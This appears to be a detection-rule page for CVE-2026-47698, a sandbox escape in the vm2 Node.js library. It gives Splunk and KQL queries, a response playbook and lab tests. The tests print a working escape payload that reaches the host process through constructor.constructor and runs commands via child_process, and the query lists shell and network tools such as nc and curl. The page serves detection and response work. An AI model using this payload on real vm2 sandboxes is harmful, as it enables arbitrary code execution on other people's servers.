CVE-2026-47698 Splunk · SPL

Detect vm2 Sandbox Breakout via Dangerous Host Proto Mutators (CVE-2026-47698) in Splunk

Detects exploitation and presence of CVE-2026-47698, a critical (CVSS 9.8) sandbox escape in the vm2 Node.js library (versions <= 3.11.5). vm2 fails to fully isolate host prototype mutator methods, allowing untrusted JavaScript executed inside the sandbox to reach host objects (via __proto__ / prototype chain and dangerous proto mutators such as Object.defineProperty, Reflect, Error stack getters) and obtain a reference to the host 'process' object, leading to arbitrary code execution on the host. This detection surfaces vulnerable vm2 installs, sandbox-escape indicators in application logs, and post-exploitation child-process/command execution spawned from Node.js processes that embed vm2.

MITRE ATT&CK

Tactic
Execution Privilege Escalation

SPL Detection Query

Splunk (SPL)
spl
index=* (sourcetype="linux:audit" OR sourcetype="WinEventLog:Microsoft-Windows-Sysmon/Operational" OR sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational")
| eval parent=lower(coalesce(parent_process_name, ParentImage, ppcomm))
| eval child=lower(coalesce(process_name, Image, comm))
| eval cmd=lower(coalesce(process, CommandLine, cmdline))
| where like(parent,"%node%")
| where (child IN ("cmd.exe","powershell.exe","pwsh.exe","bash","sh","whoami","curl","wget","nc","ncat") OR like(cmd,"%child_process%") OR like(cmd,"%process.mainModule%") OR like(cmd,"%__proto__%") OR like(cmd,"%constructor.constructor%"))
| table _time, host, user, parent, child, cmd
| sort - _time
critical severity medium confidence

Correlates Sysmon/auditd process telemetry to find Node.js (vm2 host) processes spawning shells or referencing prototype-mutator escape primitives.

Data Sources

SysmonLinux auditd

Required Sourcetypes

WinEventLog:Microsoft-Windows-Sysmon/OperationalXmlWinEventLog:Microsoft-Windows-Sysmon/Operationallinux:audit

False Positives & Tuning

  • Build pipelines where Node spawns shell scripts legitimately.
  • Node process managers (pm2, forever) that fork helper shells.
  • Test frameworks exercising vm2 escape regression tests.

Other platforms for CVE-2026-47698


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Detect vulnerable vm2 version in installed packages

    Expected signal: npm install network fetch of [email protected] and a node process reading vm2/package.json; package inventory shows vm2 3.11.5.

  2. Test 2Simulate vm2 sandbox escape spawning a host command

    Expected signal: A node process spawns /bin/sh -> id via child_process.execSync; auditd/Sysmon records node as parent of the shell; file /tmp/vm2_escape_proof.txt created.

  3. Test 3Emit prototype-mutator escape gadget in application input

    Expected signal: Application/access log or test log contains the escape gadget strings constructor.constructor and child_process/process.mainModule.


Response Playbook

Triage

  1. Confirm whether the affected host runs a Node.js application that bundles vm2 <= 3.11.5: run `npm ls vm2` in each app directory or grep node_modules for vm2/package.json version.
  2. Determine whether the vm2 sandbox executes untrusted or user-supplied JavaScript (e.g., a code-eval feature, template engine, or plugin system). If it only runs first-party trusted code, downgrade urgency but still patch.
  3. Correlate the alerting Node process ID with application logs to identify which request/tenant/user submitted the code executed in the sandbox at the alert timestamp.
  4. Review the spawned child process command line and network destinations for signs of reverse shells, credential access, or download-and-execute activity.

Containment

  1. Patch or upgrade vm2 to >= 3.11.6, or remove vm2 and migrate to a hardened isolate (e.g., isolated-vm/Node worker with permissions) as soon as feasible.
  2. Isolate the affected host from the network and suspend the exposed sandbox feature (feature flag / WAF rule blocking the eval endpoint) until patched.
  3. Rotate any credentials, API keys, or tokens accessible to the Node.js service account, since host RCE exposes the process environment and mounted secrets.

Evidence Collection

  1. Capture the full Node.js process command line, environment, and open file handles for the parent and all child processes before remediation.
  2. Preserve application access logs and request bodies around the alert window to recover the attacker-supplied JavaScript payload.
  3. Collect Sysmon/auditd/EDR process-creation records, network connection logs, and any dropped files under the app's temp/working directories.

Escalation Criteria

  • !Escalate to IR/on-call immediately if the Node process spawned an interactive shell, established an outbound C2 connection, or accessed credentials/secret stores.
  • !Escalate to legal/compliance if the compromised service handled regulated data (PII, PHI, cardholder data) or if lateral movement off the host is observed.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >node_modules/vm2/package.json version string (<= 3.11.5) on the host.
  • >Application request logs containing the submitted JavaScript payload with __proto__/constructor.constructor escape gadgets.
  • >Sysmon/auditd EID process-creation records showing node as the parent of an unexpected shell or utility.
  • >Outbound network connection logs from the Node.js PID to attacker infrastructure.

Tuning Guidance

Allowlist known-good Node parent command lines (build agents, pm2/forever supervisors, npm lifecycle scripts) by their working directory or service account, and restrict the __proto__/constructor.constructor content matches to hosts actually running vm2. Where the sandbox feature is exposed to untrusted input, lower the alert threshold to single-event; on pure developer/CI hosts, require the child-process spawn plus an outbound network connection to reduce noise. Retire the post-exploitation queries once all vm2 instances are confirmed on >= 3.11.6.


Hunting Queries

Baseline how often Node.js processes spawn shells per host to distinguish legitimate CI/build behavior from anomalous vm2-escape activity.

Hunting — KQL
kql
DeviceProcessEvents | where InitiatingProcessFileName in~ ('node.exe','node') | where FileName in~ ('cmd.exe','powershell.exe','pwsh.exe','bash','sh') | summarize count() by DeviceName, InitiatingProcessCommandLine, FileName, bin(Timestamp,1h)
Hunting — SPL
spl
index=* sourcetype=*sysmon* (ParentImage=*node* OR parent_process_name=*node*) (Image IN (*cmd.exe,*powershell.exe,*bash,*sh) OR CommandLine=*child_process*) | stats count by host, ParentImage, Image, CommandLine

Atomic Red Team Tests

Test 1 Detect vulnerable vm2 version in installed packages
linux

Enumerate installed vm2 versions to identify hosts affected by CVE-2026-47698 (<= 3.11.5).

Command

bash
cd /tmp && npm init -y >/dev/null 2>&1 && npm install [email protected] >/dev/null 2>&1 && node -e "console.log('vm2 version:', require('/tmp/node_modules/vm2/package.json').version)"

Cleanup

bash
rm -rf /tmp/node_modules /tmp/package.json /tmp/package-lock.json

Expected Telemetry

npm install network fetch of [email protected] and a node process reading vm2/package.json; package inventory shows vm2 3.11.5.

Expected Detection

Software inventory / vulnerability scanner flags vm2 <= 3.11.5 as CVE-2026-47698 affected.

Test 2 Simulate vm2 sandbox escape spawning a host command
linux

Runs a lab-only PoC where sandboxed JavaScript reaches the host process and executes a benign host command, mirroring the CVE-2026-47698 breakout to generate node->shell process telemetry.

Command

bash
cd /tmp && cat > vm2_escape_poc.js <<'EOF'
const {VM} = require('/tmp/node_modules/vm2');
try {
  const vm = new VM();
  // Benign lab payload: reach host process via prototype chain and run a harmless command
  const payload = "const p = this.constructor.constructor('return process')(); p.mainModule.require('child_process').execSync('id > /tmp/vm2_escape_proof.txt'); 'done'";
  console.log(vm.run(payload));
} catch (e) { console.log('escape blocked (patched):', e.message); }
EOF
node /tmp/vm2_escape_poc.js

Cleanup

bash
rm -f /tmp/vm2_escape_poc.js /tmp/vm2_escape_proof.txt

Expected Telemetry

A node process spawns /bin/sh -> id via child_process.execSync; auditd/Sysmon records node as parent of the shell; file /tmp/vm2_escape_proof.txt created.

Expected Detection

Process-creation rule fires on node parenting a shell/utility with child_process in the initiating command context.

Test 3 Emit prototype-mutator escape gadget in application input
windows

Sends a request payload containing vm2 escape gadgets (__proto__ / constructor.constructor) to a Node.js eval endpoint to test application-log detection of exploitation attempts.

Command

powershell
powershell -NoProfile -Command "$body = 'this.constructor.constructor(''return process'')().mainModule.require(''child_process'').execSync(''whoami'')'; Write-Host $body; Add-Content -Path $env:TEMP\vm2_payload_test.log -Value $body"

Cleanup

powershell
powershell -NoProfile -Command "Remove-Item -Force $env:TEMP\vm2_payload_test.log -ErrorAction SilentlyContinue"

Expected Telemetry

Application/access log or test log contains the escape gadget strings constructor.constructor and child_process/process.mainModule.

Expected Detection

Log-based rule matches __proto__/constructor.constructor + child_process gadget strings in inbound application input.

Related Detections